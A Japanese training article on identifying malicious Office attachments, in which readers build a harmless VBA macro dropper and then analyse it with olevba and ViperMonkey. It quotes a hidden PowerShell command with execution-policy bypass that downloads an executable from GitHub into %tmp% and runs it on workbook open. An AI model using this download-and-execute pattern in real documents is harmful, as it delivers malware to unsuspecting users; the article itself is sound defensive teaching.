###### tags: `security`
# 悪意ある添付ファイルの解析 -基礎編-
## はじめに
この記事はセキュリティチームの基礎力を向上するために作られたトレーニングコンテンツの一部です. トレーニング中に実際のマルウェアを扱わないので誰でも安全に知識を得られます.
ただし, ここで得た知識をトレーニング以外の場所で使う際は十分に注意してください. マルウェアに感染してシステムが破壊されたり機密情報が漏洩したりするリスクがあります. このトレーニングから一歩外に出たら貴方の行動の責任はすべて貴方にあるという事を忘れないでください.
## トレーニングの目的
この記事の目的は悪意ある添付ファイルを識別できるようになることです. 特に静的解析によりOfficeファイルの白黒判定を行うことを目指します. 悪意あるファイルの動作原理を理解するために疑似マルウェアを作成し, 自らそのファイルを解析することで確かな知識を得られます.
## トレーニング要件
トレーニング参加者はハンズオンに参加できるように以下の用件を満たしてください. ハンズオンを行わず聴講のみの参加も可能ですが理解度が大幅に低下する可能性があります.
- 自身が管理者権限を持つWindows10コンピュータを持つこと
- Windows10コンピュータはインターネットに接続されている事
- Windows10コンピュータに以下のソフトウェアがインストールされている事
- Microsoft Office 2016
- [Oracle VM VirtualBox](https://www.virtualbox.org/)
- [7zip](https://sevenzip.osdn.jp/download.html)
- [RLogin](https://kmiya-culti.github.io/RLogin/)の様にSCP可能なSSLクライアント
- [Google Chrome ブラウザ](https://www.google.com/intl/ja_jp/chrome/)の様にPDF閲覧可能なブラウザ
# 知っておくべき知識
## メール添付型マルウェアの歴史
はじめにメール添付型マルウェアの歴史を振り返りましょう.
1995年 最初のマクロ・マルウェアといわれる Concept が作成された
1999年3月 Outlookのアドレス帳を利用して拡散されるマルウェア Melissa が作成された
1999年6月 Office2kがリリースされマクロにデジタル署名を組み込めるようになった
2002年10月 Office2kSP3の標準で署名検証が有効化され多くのマクロ・マルウェアが抑制された
2007年1月 Office2007の標準で全てのマクロが無効化されマクロ・マルウェアが抑制された
2014年以降 Exploitやソーシャルエンジニアリングを用いたマクロ・マルウェアが再流行し始めた
1999年の Melissa から20年以上が経過してもマクロ・マルウェアは初期侵入手段の定番であり続けており, 2021年現在,マルウェアの侵入経路の9割がメールの添付ファイルだといわれています. よほど大きなパラダイムシフトが起きない限りこの傾向は今後も変わらないと思います.
## Officeファイルの構造
この後Officeマクロを使った疑似マルウェアを扱います. その前準備としてOfficeファイルの構造を押さえておきましょう.
Office 2007以前のOfficeファイルはCompound File Binary (CFB) 形式または OLE2 形式と呼ばれます. このファイル形式は多少崩れていますがzipアーカイブと見なせるので, 7zipなどの一部のアプリケーションで解凍することが出来ます. ファイルを解凍すると複数のディレクトリとファイルが現れます. このファイル群がOfficeファイルを構成しているわけです. 今回の興味の対象であるマクロの情報は Macro ディレクトリ配下に格納されています.
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/CaUsJ24.png"></img>
Office 2007より後のOfficeファイルはMS Open XMLと呼ばれるXML文書群をzipアーカイブしたものになっています. マクロを含むファイルを解凍すると現れる vbaProject.bin はOLEファイルです. Office 2007以前のOLEファイルと同様にこれを解凍すれば VBA ディレクトリが現れます. マクロの情報はこの中に格納されています.
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/ztIAXhN.png"></img>
これらのファイルを区別する分かりやすい目印は拡張子です.
Office 2007以降のOfficeファイルの拡張子は docx, xlsx, pptx の様に4文字です. マクロを含む場合は docm, xlsm, pptm の様に4文字目が m になっています. マクロを含むファイルの拡張子をxlsxのように偽装して開かせようとしても Microsoft Office の制約により失敗します. これにより悪意あるマクロが実行される機会を減らすことが出来ます.
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/7fa4d5a.png"></img>
これに対してマクロを含むファイルの拡張子を xls の様に偽装した場合は警告が表示されますがユーザーが はい を選べばマクロが実行されます.
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/JwweZK6.png"></img>
Office 2003以前のOfficeファイルの拡張子は doc, xls, ppt の様に3文字です. マクロの有無に依らず同じ拡張子なのでユーザーは常に悪意あるマクロが含まれるリスクを考える必要があります. 貴方が仕事でマルウェアを解析する立場にいるならば3文字拡張子のOfficeファイルには疑いの目を向けるべきでしょう.
Officeファイルの構造に関する詳しい情報は[Tools to extract VBA Macro source code from MS Office Documents](http://www.decalage.info/en/vba_tools)を参照してください.
## マクロ・マルウェアの立ち位置
マクロ・マルウェアは攻撃者が目的を果たすのに必要な機能を備えていますが, ベンダーもそれを十分認識しているため様々なセキュリティ防御策が提供されています. Windows 10から搭載されたAMSI (Antimalware Scan Interface) の働きによりマクロ・マルウェアが実行される直前にその内容が検証されます. 多くのマクロ・マルウェアはAMSIにより検出されるため, 今日ではマクロ・マルウェアだけを使って目的を達成することは困難です.
そのため攻撃者は目的を果たすために必要な機能をカスタムツールに搭載し, マクロ・マルウェアからそのツールをダウンロードして実行させる様になりました. このようなマクロ・マルウェアを Dropper や Downloader と呼びます.
## マルウェアに関する法律
日本国においてマルウェアの作成や提供を行ったものは 不正指令電磁的記録に関する罪 (刑法168条の2および168条の3) によって裁かれます. もしマルウェアを作成していなかったとしても, 何処かから入手したマルウェアを提供したり,提供するために保管するだけでもこの法律に抵触します.
ここで述べられているマルウェアの定義は以下の通りです.
1. 人が電子計算機を使用するに際してその意図に沿うべき動作をさせず、またはその意図に反する動作をさせるべき不正な指令を与える電磁的記録
2. 前号に掲げるもののほか、同号の不正な指令を記述した電磁的記録その他の記録
如何様にも解釈できる書き方をされており,貴方にマルウェアを作ったつもりが無くても提訴され有罪判決を受ける可能性があります. 興味のある方はWizard Bible事件やアラートループ事件, 2021年6月現在も上告準備中のCoinhive事件について調べてみて下さい.
またマルウェアによって人の情報資産やその他財産に損害を与えたものは 電子計算機損壊等業務妨害 (刑法234条の2)あるいは 電子計算機使用詐欺(刑法246条の2)によって裁かれます.
ここに挙げた罪は未遂の場合にも適用されます.
今回のトレーニングはコンピュータに被害を与えないように配慮されていますが, 実際のマルウェアを使って検証する機会があれば, それが他人の資産に被害を与えない事を必ず確認してください. 当然ながら会社から貸与されたコンピュータは「他人の資産」です.
# 疑似マルウェア作成
## VBAマクロの基礎
疑似マルウェアを作成する前にVBAマクロの基本を身につけましょう.
今からExcelで基本的なVBAマクロを書いていきます. Visual Basicエディタを使うのでリボンに開発メニューを表示しておきましょう.
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/B885CCw.png"></img>
リボンに開発メニューが表示されたことを確認出来たらVisual Basicエディタを起動します.
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/RksweBS.png"></img>
VBAProject > Microsoft Excel Objects > ThisWorkbook にコードを記述します. まずは基本となるHello Worldプログラムを書いてみましょう.
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/pfseJBf.png"></img>
以上のコードを記述したらファイルを xlsm 形式で保存してから閉じます.
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/ciSFtqZ.png"></img>
Book1.xlsm ファイルを開きなおしてコンテンツを有効化します.
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/W5sMNiE.png"></img>
Hello World! というメッセージボックスが表示されたら成功です.
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/86pPpFS.png"></img>
何が起きたか分かりますか? workbook_open はExcelワークブックが開かれたときに自動的に呼び出されるサブルーチンです. 貴方はそのサブルーチンの中でMsgBox関数を使ってHello World!という文字列を表示させるコードを書きました. これを xlsm 形式で保存すればマクロファイルが出来上がります. Office 2007以降のバージョンではデフォルトでマクロの実行は禁止されているので手動でコンテンツを有効化する必要がありますが, 以降は同じファイルを開くたびに Hello World ! が表示されるはずです.
このマクロをもう少し拡張してみましょう. ThisWorkbookのコードを以下の様に変更してください.
{%gist ox0xo/7bdbbee6c8d6e1a2c389b0364574966f%}
get_my_message 関数を新たに作成しました. この関数は flag 変数を引数に受け取り, その値に応じて異なる return_message を呼び出し元に返します. この例では引数として 1 が渡されているのでreturn_messageには "Hello " と "World!" を結合した文字列が代入されます. 返された文字列はworkbook_openサブルーチンの中でMsgBoxの引数として利用されています. つまり拡張前のマクロと同じ結果が得られます.
Visual Basicには様々なサブルーチンや関数が用意されています. 詳しく知りたい場合は[Microsoft Docs](https://docs.microsoft.com/ja-jp/office/vba/api/excel.workbook.open)を参照してください.
## VBAドロッパーの基礎
ドロッパーにはカスタムツールを取得し実行する機能が必要です. 今回はVBAマクロからPowershellを呼び出し, Powershellの機能によりファイルをダウンロードして実行するドロッパーを開発してみましょう. 以下のコードを貴方のVisual Basicエディタに記述してください. 安心してください. このサンプルに示したURLやファイルは私が用意した無害なものです.
{%gist ox0xo/c6eedabd271057ce70f6572810dd1e10%}
コードは完成しましたか? ではファイルを xlsm 形式で保存してから閉じて開きなおしましょう. セキュリティの警告に対してマクロを有効化すればgithubからダウンロードされた実行ファイルが起動するはずです.
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/5sSmKEG.png" width=50%></img>
# マクロ・マルウェア解析
## 解析手法の分類
マルウェア解析の手法を大きく3つに分類したものは表層解析, 動的解析, 静的解析と呼ばれます.
表層解析はファイルのハッシュやプロパティなどの情報を手掛かりにして既知のマルウェアとそれが一致するかを調べる手法です. 当然ながら未知のマルウェアに対しては効果を発揮できません. また既知のマルウェアならばアンチウイルスが検出するから通常は表層解析を人の手で行う事はありません. 表層解析が必要になるとしたら過去の時点では未知のマルウェアであったものを遡って調査するような場合です。マルウェアの存在が疑われる環境でログやパケットをフォレンジックするようなケースが考えられます.
動的解析は実際にマルウェアを動作させて挙動を観察することで仕組みを明らかにする手法です. 未知のマルウェアに対しても有効で, ファイルシステムやレジストリに対して行われた変更やマルウェアの通信先のURLなどを知ることが出来ます. 普段使っているコンピュータ上でマルウェアを動作させるわけにはいかないので仮想マシン上などに構築された解析環境を使います. 動的解析は強力なマルウェア解析手法ですが有効に機能しないケースがしばしばあります. 例えばマルウェアの中にはシステムの環境変数やユーザーの挙動などから自身が解析環境で実行されたと判断した場合に動作を停止して解析を妨害するものがあります.
静的解析はマルウェアのコードを読み解くことで仕組みを明らかにする手法です. 動的解析を回避するようなコードが含まれていたとしても, その挙動の分岐条件を調べたり分岐の先にある本来の挙動を調べる事が出来ます. 静的解析は強力な手法ですがそれを始めるにはいくつかのハードルを越える必要があります. まず, 実行ファイルは一般的に機械語で記述されているので静的解析するためには逆アセンブルなどのリバースエンジニアリングの手法が必要です. アセンブリやアルゴリズムに対する理解も求められます.
ただし今回扱うVBAマクロ・マルウェアは人間が容易に読み取れるスクリプト言語(VBA)で記述されているので入門には最適です. ここから静的解析を始めましょう.
## VBAコードリーディング
いよいよドロッパーの静的解析に進みます. 先ほど作成したVBAマクロ・マルウェアのコードを読み返してみましょう.
{%gist ox0xo/c6eedabd271057ce70f6572810dd1e10%}
ワークブックが開かれたときに dropper サブルーチンが呼び出されています. 他に目ぼしい処理が無いので dropper サブルーチンを読めばこのドロッパーの挙動を理解できます.
サブルーチンの中では sh という変数が定義されており, CreateObject関数の戻り値がセットされています. すこし調べればわかりますが CreateObject関数に引数としてWScript.Shellを渡すのは良くあるパターンです. この方法でセットされた sh はWindowsシェルスクリプトを実行できるWshShellオブジェクトになります.
間の処理は後回しにして sh が次にどこで使われるか注目しましょう. サブルーチンの最後でRun関数を呼び出しています. [Microsoft Docs](https://docs.microsoft.com/ja-jp/previous-versions/windows/scripting/cc364421(v=msdn.10))によるとRun関数では第一引数に指定されたコマンド文字列が実行されます. 第二・第三の引数はこのコマンドが実行された事をユーザーに気づかせないようにするためのオプションです.
つまり第一引数に渡されている cmd の文字列を把握できれば, このマクロが何をやろうとしているか特定できそうです. 複数行に渡って & で文字列が結合されているので順番に読み解いてみましょう.
> cmd = "powershell -executionpolicy bypass -command "
>
-ExecutionPolicyスイッチにBypassを指定することでこのスクリプトを無制限で実行できるようにしています. このスイッチを付けない場合, PowerShellのデフォルト設定によりスクリプトは停止されます.
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/7Qgewob.png"></img>
-commandスイッチはPowerShellスクリプトのコマンド文字列を指定するためのものです. このスイッチの後ろに記述された文字列がコマンドとして解釈されます. 詳細は [Microsoft Docs](https://docs.microsoft.com/ja-jp/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1) を参照してください.
> cmd = cmd & "invoke-webrequest "
cmd = cmd & "https://github.com/ox0xo/ox0xo.github.io/raw/master/artifact/calc.exe "
cmd = cmd & "-outfile %tmp%/calc.exe;"
powershellのinvoke-webrequestメソッドを使って github からファイルをダウンロードし %tmp%/calc.exe という名前で保存しています. %tmp%というのは環境変数tmpを展開するための記述です. Explorerのアドレスバーに %tmp% と入力すればこの意味が分かるでしょう.
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/7XGqrO7.png"></img>
3行目の末尾に ; があることに気づきましたか? Powershellの構文では複数の命令を;で区切ることでワンライナーを書くことが出来ます. 区切られた2つ目の命令は %tmp%/calc.exe を実行するものです.
> cmd = cmd & "%tmp%/calc.exe"
## 静的解析と動的解析の統合
念のためにcmd文字列の中身を確認します. 今回のようにコマンドを実行する部位とコマンド文字列が格納された変数が分かっている場合に有効な方法です. ただしこの手法は部分的にマルウェアを実行する必要があるため動的解析に分類されます. 本来は隔離された安全な環境で行う必要がある事を覚えておいてください.
sh.Run関数をMsgBox関数に置き換えてcmdを表示するように変更します. 以下の様にコードを修正したことを確認したらマクロを実行してみましょう.
{%gist ox0xo/9aac7660ad5aa894752906485bf343fc%}
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/1mBDXI4.png"></img>
以上によりドロッパーの挙動が分かりました.
- ワークブックが開かれると自動的に以下の処理が実行される
- powershellを使ってgithubから実行ファイルをダウンロードする
- ダウンロードされた実行ファイルは%tmp%/calc.exeとして保存されている
- ダウンロードされた %tmp%/calc.exe が実行される
## 難読化コードの解析
実際のマルウェアは難読化されており簡単には読み解けません. 例えば以下のコードの意味を把握出来ますか? 実は先ほど書いてもらったドロッパーと全く同じ処理が行われています. 試しに貴方の手元のVisual Basicエディタにコードをコピペして動かしてみて下さい.
{%gist ox0xo/bc625a5474e3a62db0baeb5f95d7201b%}
この程度の長さなら頑張って解読できるかもしれませんが本番はもっと複雑な処理が施されており手作業だけでは限界があります. 何よりも難読化されたコードを1行ずつ追っていくなんて面倒な作業は人間がやるべきではありません. こういう時はVBAマクロの解析ツールを活用します.
## 解析環境の準備
貴方がトレーニングに参加している場合は事前に通知されたovaファイルをダウンロードしているはずです. ovaファイルをVirtualBoxにインポートしてcent8.3_minimalを使えるようにしてください. トレーニングとは無関係にこの記事を読んでいる場合はRemnuxなどのディストリビューションを使うのが良いでしょう.
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/aeHSiOA.png"></img>
この仮想マシンには解析ツールのoletoolsとViperMonkeyがプリインストールされています. 自分で一から環境を構築する場合は[Decalage2のリポジトリ](https://github.com/decalage2/)を参照してください.
仮想マシンを起動したらlocalhost:22に対してSSH接続出来ることを確認してください. ポートフォワードにより localhost:22 への通信が仮想マシンのポート22に転送されます. ユーザー名 `root` パスワード `password` でログインできます.
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/8G0pKtt.png"></img>
SSHでログインしたらSCPを使ってOfficeマクロファイルをLinuxのファイルシステム上に転送してください. これで解析の準備は完了です.
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/TSFXiqa.png"></img>
## OLEVBAによる解析
OLEVBAはPhilippe Lagadecによって開発されたVBAマクロ解析ツールです. python3で記述されているのでOSを選ばず利用できます. 解析対象のOfficeマクロファイルが/tmp/Book1.xlsmに格納されている場合は以下のコマンドによってファイルを解析できます.
`olevba /tmp/Book.xlsm`
olevbaはVBAマクロに含まれる不審な特徴をピックアップしてくれます. 簡単な難読化解除の機能も備えていますがあまり複雑な難読化には対処できません. 基本的には人間がコードを読むときの指標を示してくれるツールとして使うのが良いでしょう.
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/bxZjk6f.png"></img>
## ViperMonkeyによる解析
ViperMonkeyはPhilippe Lagadecによって開発されたVBAマクロエミュレータです. python2で記述されているため環境構築が面倒ですがOLEVBAでは太刀打ちできない複雑な難読化を解除することが出来ます. 解析対象のOfficeマクロファイルが/tmp/Book1.xlsmに格納されている場合は以下のコマンドによってファイルを解析できます.
`vmonkey.py -s --iocs /tmp/Book.xlsm`
<img src="https://raw.githubusercontent.com/ox0xo/ox0xo.github.io/master/images/analysing_macro_malware/1j0M6h2.png"></img>
# その他のドロッパー
## javascript
javascriptはサーバレスで動的なWebサイトを作成する際に利用されるスクリプト言語です. 1996年に発表されてから20年以上の時を経てWeb開発の現場で無くてはならない技術になりました. またjavascriptはOSを操作する機能も備えており, Electronというjavascriptフレームワークを使ったデスクトップアプリケーションが多数存在します.
攻撃者はその高い表現力に目を付けてjavascriptでドロッパーを書くことがあります. 少なくとも1999年にはjavascriptを使って初期侵入を果たすマルウェアが確認されています. 2021年現在はVBAのドロッパーが優勢のようですが, [2017年に日本国内で流行したマルウェアの多くはjavascriptのドロッパーを利用していました.](https://eset-info.canon-its.jp/malware_info/malware_topics/detail/malware1707.html)
メールの添付ファイルを分析する仕事においてjavascriptのドロッパーを識別するのは比較的容易です. javascriptがメールに添付される合理的な理由を思いつきますか? メールの添付ファイルからjavascriptを自動的に削除しても良いぐらいです.
## pdf
PDFは今日のビジネスシーンではOfficeファイルと同じぐらい頻繁に登場します. 請求書やマニュアルなどを配布するのに使われることが多いと思います. PDFを作るのは簡単です. ExcelやWordなどで作成した元のドキュメントをPDF形式で保存するだけです.
この時OfficeアプリケーションはどうやってPDFを作成しているのでしょうか. PDFは8bitデータを単位として構成されておりテキストとして解釈することが可能です. OfficeアプリケーションはPDFの仕様に沿ってドキュメントの内容をテキスト出力しているのです. Officeアプリケーションで組版されたデータを単純なテキストデータに逆変換していると言っても良いでしょう.
貴方はHTMLとCSSを使ってWebサイトをデザイン(組版)したことがありますか? それと同じようにテキストエディタを使ってPDFを作成する事が出来ます. テキストエディタを開き以下のコードをコピペしてから保存してください. 保存したファイルの拡張子を .pdf に変更することを忘れずに. Google Chromeを使ってpdfファイルを開けば Hello World! という文字が表示されます.
{%gist ox0xo/e3a9185097aebf4e1b32159c1bed71bb%}
ここで重要なのはPDFにVBAマクロの様な機構を組み込めるのかという事です. もちろん答えはYesです. 作成したPDFをテキストエディタで開き, 11行目と12行目の間に次のコードを挿入してください. PDFを開きなおせば Hello Javascript! というポップアップメッセージが表示されます.
{%gist ox0xo/15cdc0dc4ac4e3c43364fb8c342fa6d6%}
/OpenAction はPDFファイルが開かれたときに自動実行される命令です. 命令の詳細は<<から>>で囲まれた部分に記述されています. 今回はシンプルなアラート表示だけですが実際のマルウェアは難読化されたコードによって外部のプログラムを呼び出すことがあります.
このようなPDFマルウェアを識別する方法は文書中に含まれる命令を確認することです. /OpenActionは正常なPDFドキュメントでも使われますが, その中で/JSが使われることは珍しい事です. このトレーニングではPDFファイルの解析ハンズオンは行いませんが, 興味があれば[filipi86のGithubリポジトリ](https://github.com/filipi86/MalwareAnalysis-in-PDF)を参照してください.
# まとめ
このトレーニングを経て貴方はマクロ・マルウェアに対する理解を深めました. 不審なOfficeファイルが与えられた際にファイルの拡張子やOLEファイル構造からマクロの有無を判断することが出来ます.
貴方はVBAマクロが非常に高機能であり, 利用者に気づかれないように様々な処理が可能であることを知りました. 実体験に基づき, 署名されていないVBAマクロを有効化することが如何に危険な行為なのかお客様に説明することが出来ます.
貴方はドロッパーと呼ばれるマルウェアの役割を知り, 自分でそれを作成することで仕組みを理解しました. マルウェア解析の技術を磨く為には解析対象の事を知る必要があります. ここで得た知識は別のマルウェアを解析する際にも役立つことでしょう.
OLEVBAやViperMonkeyは強力な解析ツールですが全てのマクロ・マルウェアを解析できるとは限りません. 最終的には貴方の知識とスキルがサービスの品質を決めるカギになります. このトレーニングで得た知識をもとに更に多くの知識を吸収し, 手を動かしてスキルを習得してください.
# Reference
- [Philippe Lagadec; Tools to extract VBA Macro source code from MS Office Documents](http://www.decalage.info/en/vba_tools)
- [Philippe Lagadec; "OpenOffice/OpenDocument" and "MS Office 2007/Open XML" security](https://pacsec.jp/psj06/psj06lagadec-j.pdf)
- [Philippe Lagadec; How to grill Malicious Macros](https://www.decalage.info/files/SSTIC15_Lagadec_Macros_slides_v2_EN.pdf)
- [Philippe Lagadec; Advanced VBA Macros Attack & Deffense](https://www.decalage.info/files/eu-19-Lagadec-Advanced-VBA-Macros-Attack-And-Defence.pdf)
- [DMCXBLUE; Red Team Notes 2.0](https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/initial-access/t1566-phishing/phishing-spearphishing-attachment/attachments-macros)
- [NVISO Labs; Evidence of VBA Purging Found in Malicious Documents](https://blog.nviso.eu/2020/02/25/evidence-of-vba-purging-found-in-malicious-documents/)
- [FireEye; Purgalicious VBA: Macro Obfuscation With VBA Purging](https://www.fireeye.com/blog/threat-research/2020/11/purgalicious-vba-macro-obfuscation-with-vba-purging.html)
- [FireEye; オンライン・バンキングを狙うマルウェア「Dridex」の進化](https://www.fireeye.jp/company/press-releases/2015/evolution-of-dridex.html)
- [Xme; Microsoft Office VBA Macro Obfuscation via Metadata](https://isc.sans.edu/forums/diary/Microsoft+Office+VBA+Macro+Obfuscation+via+Metadata/23139/)
- [binary-pulsar; PowerShell難読化の基礎(1)](https://binary-pulsar.hatenablog.jp/entry/2018/09/01/000000)
- [Trendmicro; 20 Years of Macro Malware: From Harmless Concept to Targeted Attacks](https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/20-years-of-macro-malware-from-harmless-concept-to-targeted-attacks)
- [Kaspersky; History of Malicious Programs](https://encyclopedia.kaspersky.com/knowledge/history-of-malicious-programs/)
- [Dr Vesselin Bontchev; Real Reason Decline Macro Virus](https://www.virusbulletin.com/virusbulletin/2006/01/real-reason-decline-macro-virus)
- [Joie Salvio; New Banking Malware Uses Network Sniffing for Data Theft](https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/)
- [FortiGuard SE Team; New Emotet Report Details Threats From One of the World’s Most Successful Malware Operations](https://www.fortinet.com/blog/threat-research/emotet-playbook-banking-trojan)
- [Martijn Grooten; Macro Malware Rise Again](https://www.virusbulletin.com/blog/2014/11/macro-malware-rise-again/)
- [Gabor Szappanos; VBA Not Dead](https://www.virusbulletin.com/virusbulletin/2014/07/vba-not-dead)
- [F-Secure; YOUR GUIDE TO UNDERSTANDING THE EMAIL THREAT LANDSCAPE](https://www.f-secure.com/en/business/resources/your-complete-guide-to-email-security)
- [Microsoft; How AMSI Helps](https://docs.microsoft.com/ja-jp/windows/win32/amsi/how-amsi-helps)
- [JetBrain; Javascript Turns 25](https://www.jetbrains.com/lp/javascript-25/)
- [filipi86; Malware Analysis – Dissecting PDF file](https://github.com/filipi86/MalwareAnalysis-in-PDF)
- [Adobe; PDFへのアクションおよびスクリプトの適用](https://helpx.adobe.com/jp/acrobat/using/applying-actions-scripts-pdfs.html)
- [Adobe; Developing Acrobat Applications Using JavaScript](https://opensource.adobe.com/dc-acrobat-sdk-docs/acrobatsdk/pdfs/acrobatsdk_jsdevguide.pdf)
- [トラスト・ソフトウェアシステム; PDF構文ドキュメントカタログ](https://www.pdf-tools.trustss.co.jp/Syntax/catalog.html)
- [今健吾, 長瀬智行; オブジェクト間の参照関係に基づいた悪性PDF分類手法](https://ipsj.ixsq.nii.ac.jp/ej/?action=pages_view_main&active_action=repository_view_main_item_detail&item_id=175832&item_no=1&page_id=13&block_id=8)
- [Eric Filiol, Alexandre Blonce, Laurent Frayssignes; Portable Document Format (PDF) Security Analysis and Malware Threats](https://www.blackhat.com/presentations/bh-europe-08/Filiol/Presentation/bh-eu-08-filiol.pdf)
- [古籏一浩; Adobe Acrobat X + JavaScript例文辞典](http://www.openspc2.org/reibun/AcrobatX/)